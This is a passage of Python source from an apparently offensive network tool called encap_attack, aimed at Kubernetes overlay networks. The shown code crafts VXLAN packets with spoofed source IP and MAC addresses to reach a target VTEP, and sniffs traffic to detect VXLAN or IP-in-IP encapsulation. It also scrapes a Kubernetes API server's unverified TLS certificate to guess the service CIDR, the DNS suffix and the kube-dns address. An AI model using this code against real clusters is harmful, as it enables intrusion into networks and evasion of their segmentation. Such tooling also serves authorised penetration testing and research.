verbose: bool = False) -> None: 247 | """Initialise a VXLAN encapsulation model.""" 248 | 249 | if (not vxlan_src_port): vxlan_src_port = randint(1000,65000) 250 | 251 | super().__init__(intermediary_dst_ip, spoofed_src_ip=spoofed_src_ip, spoofed_src_mac=spoofed_src_mac, iface=iface, iface_ip=iface_ip, verbose=verbose) 252 | self._inner_dst_mac = inner_dst_mac # VTEP of target node 253 | self._vni = vni 254 | self._vxlan_src_port = vxlan_src_port 255 | self._vxlan_dst_port = vxlan_dst_port 256 | 257 | def _getPacketHeader(self) -> Packet: 258 | """Get a VXLAN header.""" 259 | 260 | outer_ether = Ether(src=self._spoofed_src_mac,dst=self._intermediary_dst_mac) 261 | inner_ether = Ether(src=self._iface_mac,dst=self._inner_dst_mac) 262 | return outer_ether / IP(src=self._spoofed_src_ip,dst=self._intermediary_dst_ip) / UDP(sport=self._vxlan_src_port,dport=self._vxlan_dst_port) / VXLAN(vni=self._vni, flags="Instance") / inner_ether 263 | -------------------------------------------------------------------------------- /src/encap_attack/utils/util_models.py: -------------------------------------------------------------------------------- 1 | import click 2 | from scapy.all import * 3 | import threading 4 | 5 | class TunnelMeta: 6 | def __init__(self, routes: list[str] = [], direct_routing_gateway_ip: str = None) -> None: 7 | """Initialise a tunnel metadata model, to store information about a tunnel before it is configured.""" 8 | 9 | self.__routes = routes 10 | self.__direct_routing_gateway_ip = direct_routing_gateway_ip 11 | 12 | @property 13 | def getRoutes(self) -> list[str]: 14 | """Get the defined routes.""" 15 | 16 | return self.__routes 17 | 18 | @property 19 | def getDirectRoutingGatewayIP(self) -> str: 20 | """Get the direct routing gateway IP address.""" 21 | 22 | return self.__direct_routing_gateway_ip 23 | 24 | class DetectorSniffer: 25 | def __init__(self, iface: str, timeout: int, verbose: bool) -> None: 26 | """Initialise a detector sniffer.""" 27 | 28 | self.__iface = iface 29 | self.__timeout = timeout 30 | self.__verbose = verbose 31 | self.__protocol = "unknown" 32 | if (self.__iface): 33 | if (self.__timeout): 34 | self.__sniffer = AsyncSniffer(timeout=self.__timeout, prn=self.__packetHandler, iface=self.__iface) 35 | else: 36 | self.__sniffer = AsyncSniffer(prn=self.__packetHandler, iface=self.__iface) 37 | else: 38 | if (self.__timeout): 39 | self.__sniffer = AsyncSniffer(timeout=self.__timeout, prn=self.__packetHandler) 40 | else: 41 | self.__sniffer = AsyncSniffer(filter="", prn=self.__packetHandler) 42 | 43 | def run(self) -> str: 44 | click.secho("\nListening for encapsulated packets...", fg="magenta", bold=True) 45 | self.__sniffer.start() 46 | # ensure inconsequential errors thrown by sniffer are ignored 47 | threading.excepthook = lambda e: None 48 | self.__sniffer.join() 49 | return self.__protocol 50 | 51 | def __packetHandler(self, packet) -> None: 52 | """Process sniffed packets and stop sniffing if encapsulated packet detected.""" 53 | 54 | if (VXLAN in packet and IP in packet and Ether in packet[VXLAN] and IP in packet[VXLAN]): 55 | # packet is VXLAN 56 | click.secho("\nIdentified VXLAN packet:", bold=True) 57 | click.echo(" Outer: " + click.style(f"{packet[IP].src} -> {packet[IP].dst}", fg="cyan", bold=True)) 58 | click.echo(" VXLAN: " + click.style(f"VNI: {packet[VXLAN].vni}, VTEP: {packet[VXLAN][Ether].dst}", fg="cyan", bold=True)) 59 | click.echo(" Inner: " + click.style(f"{packet[VXLAN][IP].src} -> {packet[VXLAN][IP].dst}", fg="cyan", bold=True)) 60 | self.__protocol = "VXLAN" 61 | elif (IP in packet and IP in packet[IP][1:]): 62 | # packet is IP-in-IP 63 | click.secho("\nIdentified IP-in-IP packet:", bold=True) 64 | click.echo(" Outer: " + click.style(f"{packet[IP].src} -> {packet[IP].dst}", fg="cyan", bold=True)) 65 | click.echo(" Inner: " + click.style(f"{packet[IP][1:][IP].src} -> {packet[IP][1:][IP].dst}", fg="cyan", bold=True)) 66 | self.__protocol = "IP-in-IP" 67 | else: 68 | return 69 | if (self.__verbose): 70 | click.secho("\nFull packet:", fg="magenta", bold=True) 71 | click.echo(packet.show2(dump=True)) 72 | self.__sniffer.stop() 73 | -------------------------------------------------------------------------------- /src/encap_attack/utils/utils.py: -------------------------------------------------------------------------------- 1 | import socket, fcntl, struct, ssl, OpenSSL, click, ipaddress 2 | from encap_attack.utils.util_models import * 3 | 4 | def getIfaceIp(iface: str) -> str: 5 | """Get an interface's default IP.""" 6 | 7 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 8 | return socket.inet_ntoa(fcntl.ioctl( 9 | s.fileno(), 10 | 0x8915, # SIOCGIFADDR 11 | struct.pack('256s', iface[:15].encode()) 12 | )[20:24]) 13 | 14 | def getDefaultIfaceIp(dst_ip: str) -> str: 15 | """Get the default interface's IP address for a specific destination IP.""" 16 | 17 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 18 | s.connect((dst_ip, 53)) 19 | ip = s.getsockname()[0] 20 | s.close() 21 | return ip 22 | 23 | def getCert(dst: str, port: int): 24 | """Get a certificate and return it in X509 format.""" 25 | 26 | context = ssl.create_default_context() 27 | context.check_hostname = False 28 | context.verify_mode = ssl.CERT_NONE 29 | try: 30 | conn = socket.create_connection((dst, port)) 31 | except Exception as e: 32 | click.secho(f"Unable to connect: {e}", fg="red", bold=True) 33 | return None 34 | sock = context.wrap_socket(conn, server_hostname=dst) 35 | sock.settimeout(20) 36 | try: 37 | der_cert = sock.getpeercert(True) 38 | finally: 39 | sock.close() 40 | return OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, ssl.DER_cert_to_PEM_cert(der_cert)) 41 | 42 | def getCertSANs(cert) -> list[str]: 43 | """Get a certificate's Subject Alternative Name records.""" 44 | 45 | extensions = (cert.get_extension(i) for i in range(cert.get_extension_count())) 46 | for e in extensions: 47 | if (e.get_short_name() == b'subjectAltName'): 48 | return str(e).split(", ") 49 | return [] 50 | 51 | def getIPSANs(sans: list[str]) -> list[str]: 52 | """Get the IP entries from a certificate's Subject Alternative Name records.""" 53 | 54 | ip_sans = [] 55 | for san in sans: 56 | if (san.startswith("IP Address:")): 57 | ip_sans.append(san.replace("IP Address:", "")) 58 | return ip_sans 59 | 60 | def getDNSSANs(sans: list[str]) -> list[str]: 61 | """Get the DNS entries from a certificate's Subject Alternative Name records.""" 62 | 63 | ip_sans = [] 64 | for san in sans: 65 | if (san.startswith("DNS")): 66 | ip_sans.append(san.replace("DNS:", "")) 67 | return ip_sans 68 | 69 | def getCertDetails(cert) -> tuple[str, str, list[str]]: 70 | """Extract the subject, issuer, and Subject Alternative Names records from an X509 certificate.""" 71 | 72 | subject = dict(cert.get_subject().get_components()) 73 | issuer = dict(cert.get_issuer().get_components()) 74 | return (subject, issuer, getCertSANs(cert)) 75 | 76 | def guessRoutes(dst: str, port: int) -> tuple[str, list[str], str]: 77 | """Get the TLS certificate from a Kubernetes API server, and use the Subject Alternative Name records of the contained certificate to guess the cluster DNS suffix, service IP range, and DNS server IP address.""" 78 | 79 | cert = getCert(dst, port) 80 | if (cert == None): 81 | return ("", [], "") 82 | subject, issuer, sans = getCertDetails(cert) 83 | click.secho("Kubernetes API server certificate information:", bold=True) 84 | click.echo(" Subject: " + click.style(subject[b'CN'].decode(), fg="cyan", bold=True)) 85 | click.echo(" Issuer: " + click.style(issuer[b'CN'].decode(), fg="cyan", bold=True)) 86 | ips = getIPSANs(sans) 87 | click.echo(" IPs: " + click.style(', '.join(ips), fg="cyan", bold=True)) 88 | hostnames = getDNSSANs(sans) 89 | click.echo(" Hostnames: " + click.style(', '.join(hostnames), fg="cyan", bold=True)) 90 | priv_ips = [ip for ip in ips if ipaddress.ip_address(ip).is_private] 91 | cluster_dns_suffix, dot_count = ("", 0) 92 | for hostname in hostnames: 93 | count = hostname.count(".") 94 | if count > dot_count: 95 | try: 96 | suffix = hostname.split(".", 3)[3] 97 | except: 98 | # hostname is not fully-qualified 99 | continue 100 | cluster_dns_suffix = suffix 101 | dot_count = count 102 | if len(priv_ips) > 0: 103 | ip_parts = priv_ips[0].split(".") 104 | guessed_cidr = f"{ip_parts[0]}.{ip_parts[1]}.0.0/12" 105 | click.echo("\nGuessed service CIDR: " + click.style(guessed_cidr, fg="green", bold=True)) 106 | guessed_dns = f"{ip_parts[0]}.{ip_parts[1]}.0.10" 107 | click.echo(f"kube-dns DNS server may be available at: " + click.style(f"{guessed_dns}:53", fg="green", bold=True)) 108 | click.echo(f"Cluster DNS suffix: " + click.style(cluster_dns_suffix if cluster_dns_suffix else "unknown", fg="green", bold=True)) 109 | return (cluster_dns_suffix, [guessed_cidr], guessed_dns) 110 | else: 111 | click.echo("Unable to guess service CIDR") 112 | return (cluster_dns_suffix, [], "") 113 | 114 | def detectEncap(iface: str, timeout: int, verbose: bool): 115 | """Sniff network traffic for encapsulated packets and return the encapsulation protocol.""" 116 | 117 | detector = DetectorSniffer(iface, timeout, verbose) 118 | protocol = detector.run() 119 | 120 | if (protocol == "unknown"): 121 | click.secho("\nNo network encapsulation detected", fg="red", bold=True) 122 | else: 123 | click.secho(f"\nDetected encapsulation protocol: {protocol}", fg="green", bold=True) 124 | 125 | --------------------------------------------------------------------------------